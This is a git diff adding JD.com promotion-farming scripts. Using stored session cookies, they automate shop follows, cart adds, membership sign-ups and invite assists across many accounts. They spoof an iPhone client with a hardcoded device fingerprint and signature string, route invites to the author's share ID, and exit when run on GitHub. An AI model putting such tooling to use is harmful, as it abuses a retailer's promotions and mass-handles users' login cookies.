(process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.Authorization = [] +$.inviter = [] +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + console.log(`入口:\nhttps://xinrui1-isv.isvjcloud.com/jd-seventh/?channel=zjy`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await run(); + } + } + console.log('\n\n==================================================\n助力') + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + $.access_token = '' + $.token_type = '' + $.inviteError = 0 + $.inviterFlag = 1 + if($.Authorization[i]){ + $.access_token = $.Authorization[i].access_token + $.token_type = $.Authorization[i].token_type + for(let n in $.inviter){ + if($.inviter[n]){ + $.inviterFlag = 0 + $.inviteCeil = 0 + console.log(`${$.UserName}助力${$.inviter[n]}`) + await taskPost(`invite?inviter_id=${$.inviter[n]}&from_type=1`) + if($.inviteCeil == 1) break + if($.inviteCeil == 2) $.inviter[n] = '' + } + } + if($.inviterFlag) console.log('无助力码') + if($.inviterFlag) return + }else{ + console.log('获取access_token失败!') + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + $.isvObfuscator = $.access_token = $.token_type = $.taskList = $.userInfo = $.resTask = $.homeInfo = '' + await isvObfuscator() + if($.isvObfuscator == ''){ + console.log('获取token失败!') + return + } + await userInfo() + if($.access_token == '' || $.token_type == ''){ + console.log('获取access_token失败!') + return + } + await task('get_user_info') + if($.userInfo){ + // console.log($.toStr($.userInfo)) + console.log(`当前有${$.userInfo.coins}枝玫瑰🌹 等级${$.userInfo.level} ${$.userInfo.id} ${$.userInfo.is_join_team == 1 && '已组成特工小队' || '未组特工小队'}`) + $.inviter.push($.userInfo.id) + if($.userInfo.is_join_team === 0){ + if($.joinTeamId){ + console.log(`特工小队:与${$.joinTeamId}组队`) + $.resTask = '' + await taskPost(`map_team_invite?inviter_id=${$.joinTeamId}`) + }else{ + $.joinTeamId = $.userInfo.id + } + } + } + await task('home_task_info') + if($.taskList == ''){ + console.log('获取任务失败!') + // return + }else{ + $.Authorization[$.index-1] = { + "access_token":$.access_token, + "token_type":$.token_type + } + console.log(`每日打卡地图(${$.taskList.light_maps_num}/${$.taskList.maps_num})`) + if($.taskList.light_maps_num < $.taskList.maps_num){ + $.mapList = '' + await task('get_map_list') + if($.mapList != '' && $.mapList.data){ + for (let i = 0; i < $.mapList.data.length; i++) { + $.oneTask = $.mapList.data[i]; + if($.oneTask.is_light != 0 || $.oneTask.is_join_team != 1) continue; + console.log(`打卡地图 ${$.oneTask.id}`) + $.resTask = '' + await taskPost(`map_light?id=${$.oneTask.id}`) + } + } + } + console.log(`邀请好友助力(${$.taskList.today_invites_num}/5)`) + for(let i of $.taskList.invites_list){ + console.log(`助力人员:${i.nickname}`) + } + console.log(`浏览并关注店铺(${$.taskList.task_shops_num}/${$.taskList.shops_num})`) + if($.taskList.task_shops_num < $.taskList.shops_num){ + $.shopList = '' + await task('get_follow_shop_list') + if($.shopList != '' && $.shopList.data){ + for (let i = 0; i < $.shopList.data.length; i++) { + $.oneTask = $.shopList.data[i]; + if($.oneTask.is_follow != 0 && $.oneTask.is_task != 0) continue; + console.log(`关注店铺 ${$.oneTask.name} ${$.oneTask.is_follow} ${$.oneTask.is_task}`) + $.resTask = '' + if($.oneTask.is_follow == 0){ + await taskPost(`follow_shop?id=${$.oneTask.id}`) + }else if($.oneTask.is_task == 0){ + await taskPost(`view_shop?id=${$.oneTask.id}`) + } + } + } + } + console.log(`浏览并加购商品(${$.taskList.task_products_num}/${$.taskList.products_num})`) + if($.taskList.task_products_num < $.taskList.products_num){ + $.productList = '' + await task('get_add_product_list') + if($.productList != '' && $.productList.data){ + for (let i = 0; i < $.productList.data.length; i++) { + $.oneTask = $.productList.data[i]; + if($.oneTask.is_add != 0 && $.oneTask.is_task != 0) continue; + console.log(`加购商品 ${$.oneTask.name}`) + $.resTask = '' + if($.oneTask.is_add == 0){ + await taskPost(`add_product?id=${$.oneTask.id}`) + }else if($.oneTask.is_task == 0){ + await taskPost(`view_product?id=${$.oneTask.id}`) + } + } + } + } + console.log(`浏览会场(${$.taskList.view_meeting_num}/${$.taskList.meeting_num})`) + if($.taskList.view_meeting_num < $.taskList.meeting_num){ + $.meetingList = '' + await task('get_meeting_view_list') + if($.meetingList != '' && $.meetingList.data){ + for (let i = 0; i < $.meetingList.data.length; i++) { + $.oneTask = $.meetingList.data[i]; + if($.oneTask.is_view != 0) continue; + console.log(`浏览会场 ${$.oneTask.name}`) + $.resTask = '' + await taskPost(`meeting_view?id=${$.oneTask.id}`) + } + } + } + console.log(`店铺会员开卡(${$.taskList.open_card_num}/${$.taskList.card_num})`) + console.log(`说情话(${$.taskList.is_chat && '已完成' || '待完成'})`) + if($.taskList.is_chat == 0){ + $.resTask = '' + await taskPost(`chat`) + } + } + + do{ + $.levelUpgrade = false + await task('get_home_info') + if($.homeInfo && $.homeInfo.is_coins_enough){ + + $.levelUpgrade = true + await taskPost(`user_level_upgrade`) + if($.resTask && $.resTask.letter_info){ + console.log('------------------------------\n情书') + let msg = '' + let info = $.resTask.letter_info + if(info.is_win){ + if(info.type == 1){ + msg += `${info.prize}京豆🥔` + }else if(info.type == 4){ + msg += `${info.prize.name} 满${info.prize.setting.quota}减${info.prize.setting.discount}` + }else if(info.type != 0){ + msg += `${$.toStr(info.prize)}` + } + } + console.log(`${$.resTask.letter_info.peroration}\n${$.resTask.letter_info.content}\n收情书获得:${msg || '空气💨'}`) + }else{ + console.log(`收情书:失败${$.toStr($.resTask)}`) + } + $.homeInfo = '' + }else{ + console.log(`------------------------------\n${$.homeInfo && $.homeInfo.coins || $.userInfo && $.userInfo.coins || 0}枝玫瑰🌹 ${$.homeInfo && '需要'+$.homeInfo.need_coins+'枝玫瑰🌹才能兑换[情书]' || '不满足兑换[情书]'}`) + } + }while ($.levelUpgrade) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } catch (e) { + console.log(e) + } +} + +function taskPost(type) { + return new Promise(async resolve => { + $.post({ + url: `https://xinrui1-isv.isvjcloud.com/sapi/${type}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Authorization": `${$.token_type} ${$.access_token}`, + 'Content-Type':'application/json;charset=utf-8', + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.status_code){ + console.log(res.message + "|" +res.status_code) + if(res.message.indexOf('助力已达') > -1 && res.message.indexOf('上限') > -1){ + $.inviteCeil = 1 + }else if(res.message.indexOf('今日邀请次数') > -1){ + $.inviteCeil = 2 + } + }else if(type.indexOf('follow_shop?id') == 0 || + type.indexOf('view_shop?id') == 0 || + type.indexOf('add_product?id') == 0 || + type.indexOf('view_product?id') == 0 || + type.indexOf('meeting_view?id') == 0 || + type.indexOf('chat') == 0 || + type.indexOf('map_light') == 0 || + type.indexOf('map_team_invite?inviter_id=') == 0 + ){ + $.resTask = res + if($.resTask && $.resTask.add_coins >= 0){ + if(type.indexOf('map_team_invite?inviter_id=') == 0) $.joinTeamId = '' + let msg = '' + if($.resTask.beans){ + msg += `${$.resTask.beans}京豆🥔` + } + if($.resTask.add_coins){ + if(msg) msg += '|' + msg += `${$.resTask.add_coins}枝玫瑰🌹` + } + console.log(`获得:${msg || '空气💨'} 当前有${$.resTask.coins || 0}枝玫瑰🌹`) + } + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + }else if(type.indexOf('user_level_upgrade') == 0){ + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + $.resTask = res + }else if(type.indexOf('invite?inviter_id=') == 0){ + console.log(data) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else{ + console.log(data) + } + }else{ + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} userInfo API请求失败,请检查网路重试`) + }else{ + console.log(data) + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function task(type) { + return new Promise(async resolve => { + $.get({ + url: `https://xinrui1-isv.isvjcloud.com/sapi/${type}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Authorization": `${$.token_type} ${$.access_token}`, + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.status_code){ + console.log(res.message + "|" +res.status_code) + }else if(type == 'home_task_info'){ + $.taskList = res + }else if(type == 'get_user_info'){ + $.userInfo = res + }else if(type == 'get_follow_shop_list'){ + $.shopList = res + }else if(type == 'get_add_product_list'){ + $.productList = res + }else if(type == 'get_meeting_view_list'){ + $.meetingList = res + }else if(type == 'get_home_info'){ + $.homeInfo = res + }else if(type == 'get_map_list'){ + $.mapList = res + // }else if(type == ''){ + + }else{ + console.log(data) + } + }else{ + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} userInfo API请求失败,请检查网路重试`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function userInfo() { + return new Promise(async resolve => { + $.post({ + url: `https://xinrui1-isv.isvjcloud.com/sapi/jd-user-info`, + body:`{"token":"${$.isvObfuscator}","source":"01"}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Authorization": "bearer undefined", + "Connection": "keep-alive", + 'Content-Type':'application/json;charset=utf-8', + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.status_code){ + console.log(res.message + "|" +res.status_code) + }else{ + if(res.access_token) $.access_token = res.access_token + if(res.token_type) $.token_type = res.token_type + } + }else{ + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} userInfo API请求失败,请检查网路重试`) + }else{ + console.log(data) + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function isvObfuscator() { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/xinrui1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIde27812210seewuOJWEnRZ6u7X5cB/JIQnsLj51RJEe7PtlRG/yNSbeUMf%2BbNdgjQzFxhZsU4m5/PLZOhi87ebHQ0wPc9qd82Bh%2BVoPAhwbhRqFY&isBackground=N&joycious=54&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3090b2b2997d877191d0aef083b8d985&st=1628230407213&sv=102&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJtgH/sOkA5ELPGCiuUXbsrWcAq%2B0c83LNknkzBXgDXlQ3pq2eMY2enviS/%2BJ6TGkfqBEbO/bQ5%2BKGVjit9RrmNU/D2OwTZ2Bqi/idA2EqDmsJuNS3bvh8kCV4sO4DAHDETkc3g6r8ZeDy72mlQ1hCUss2YaXalY%2BbnkC07OlzyjC8/fuhehBm0g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.token) $.isvObfuscator = res.token + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.token); + } + }) + }) +} + + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_olympic_opencard.js b/backUp/gua_olympic_opencard.js new file mode 100644 index 0000000..a43df97 --- /dev/null +++ b/backUp/gua_olympic_opencard.js @@ -0,0 +1,612 @@ +/* +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会全都助力作者 + +只有前10个邀请的 才有20京豆 +第11个之后是不会有京豆的 + +入口 +https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=58d4dd7248884e2b8ce01393e81b74d0 + +============Quantumultx=============== +[task_local] +#奥运夺金牌开卡 +30 0,22 * * * gua_olympic_opencard.js, tag=奥运夺金牌开卡, img-url=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_olympic_opencard.png, enabled=true + +================Loon============== +[Script] +cron "30 0,22 * * *" script-path=gua_olympic_opencard.js,tag=奥运夺金牌开卡 + +===============Surge================= +奥运夺金牌开卡 = type=cron,cronexp="30 0,22 * * *",wake-system=1,timeout=3600,script-path=gua_olympic_opencard.js + +============小火箭========= +奥运夺金牌开卡 = type=cron,script-path=gua_olympic_opencard.js, cronexpr="30 0,22 * * *", timeout=3600, enable=true +*/ +const $ = new Env('奥运夺金牌开卡'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaolympicopencard || process.env.guaolympicopencard == "false") { + console.log('如需执行脚本请设置环境变量[guaolympicopencard]为"true"') + return + } + } + $.shareUuid = '58d4dd7248884e2b8ce01393e81b74d0' + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let wxCommonInfoTokenData = await getWxCommonInfoToken(); + $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY + $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE + $.isvObfuscatorToken = await getIsvObfuscatorToken(); + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001') { + $.log("获取活动信息失败!") + continue + } + await getHtml(); + await adLog(); + await getUserInfo(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + $.actorUuid = await getActorUuid(); + await drawContent(); + let checkOpenCardData = await checkOpenCard(); + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + for (let cardList1Element of checkOpenCardData.cardList1) { + $.log('入会: ' + cardList1Element.name) + await $.wait(1000) + await join(cardList1Element.value) + } + for (let cardList1Element of checkOpenCardData.cardList2) { + $.log('入会: ' + cardList1Element.name) + await $.wait(1000) + await join(cardList1Element.value) + } + }else{ + $.log("开完卡: " + checkOpenCardData.allOpenCard) + } + + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + if(checkOpenCardData && checkOpenCardData.score1 == 1) await openCardStartDraw(1) + if(checkOpenCardData && checkOpenCardData.score2 == 1) await openCardStartDraw(2) + //关注 + await followShop(); + await getDrawRecordHasCoupon() + $.playItemId = '' + await getActorUuid() + $.log($.shareUuid) + if (i === 0 && $.actorUuid) { + $.shareUuid = $.actorUuid; + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +function openCardStartDraw(type) { + return new Promise(resolve => { + let body = `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&type=${type}` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/openCardStartDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.count == 0 && data.result == true){ + console.log(`抽奖获得:${data.data.value || 0}京豆`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=dz210768869312&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/common/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.log("================== 你邀请了: " + data.data.length + " 个") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function startDraw() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869312&actorUuid=${$.actorUuid}&change=3` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.log('抽到了: ' + JSON.parse(data).data.name) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function followShop() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869312&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=23` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.count == 0 && data.result == true){ + console.log(`关注获得:${data.data.sendBeans || 0}京豆`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data && data.data || ''); + } + }) + }) +} 